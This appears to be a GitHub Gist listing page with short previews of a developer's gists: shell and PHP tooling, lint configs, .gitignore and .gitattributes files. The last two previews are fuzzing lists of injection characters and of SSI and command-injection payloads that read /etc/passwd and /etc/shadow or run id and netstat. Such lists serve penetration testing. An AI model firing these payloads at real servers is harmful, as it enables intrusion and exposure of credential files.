This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# File to fix. | |
MAKEFILE="Makefile" | |
# Check if the Makefile exists. | |
if [[ ! -f "$MAKEFILE" ]]; then | |
echo "Error: $MAKEFILE not found in the current directory." | |
exit 1 | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
declare(strict_types=1); | |
error_reporting(E_ALL); | |
/** | |
* Recursively scans a directory for PHP files while ignoring the "vendor" folder. | |
* | |
* @param string $directory The directory to scan. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
declare(strict_types=1); | |
use PhpCsFixer\Finder; | |
use PhpCsFixer\Config; | |
static $rules = [ | |
'@PSR1' => true, | |
'@PSR2' => true, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* 'composer dump-autoload', | |
'optimize:clear', | |
'queue:restart', | |
'clear-compiled', | |
'session:clear', | |
'tests-storage:clear', | |
'log:clear', | |
'event:clear', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Prepare. | |
set -o nounset # Abort on unbound variable. | |
set -o pipefail # Non-POSIX - Don't hide errors within pipes. | |
LANG=C | |
LC_CTYPE=C | |
LC_ALL=C | |
[ $UID != 0 ] && { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/dev/ | |
/lost+found/ | |
/proc/ | |
/mnt/ | |
/media/ | |
/var/cache/nscd/hosts | |
/var/cache/nscd/passwd | |
/media/user/ | |
/var/cache/nscd/group | |
/root/.cache/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##### Windows | |
# Windows thumbnail cache files | |
Thumbs.db | |
Thumbs.db:encryptable | |
ehthumbs.db | |
ehthumbs_vista.db | |
# Dump file | |
*.stackdump |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
* text=auto | |
###### Git | |
.gitattributes text | |
.gitignore text | |
.gitconfig text | |
.gitmodules text | |
##### Windows | |
*.bat text eol=crlf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
` | |
|| | |
| | |
; | |
' | |
'" | |
" | |
"' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--#exec%20cmd="/bin/cat%20/etc/passwd"--> | |
<!--#exec%20cmd="/bin/cat%20/etc/shadow"--> | |
<!--#exec%20cmd="/usr/bin/id;--> | |
<!--#exec%20cmd="/usr/bin/id;--> | |
/index.html|id| | |
;id; | |
;id | |
;netstat -a; | |
;system('cat%20/etc/passwd') | |
;id; |
NewerOlder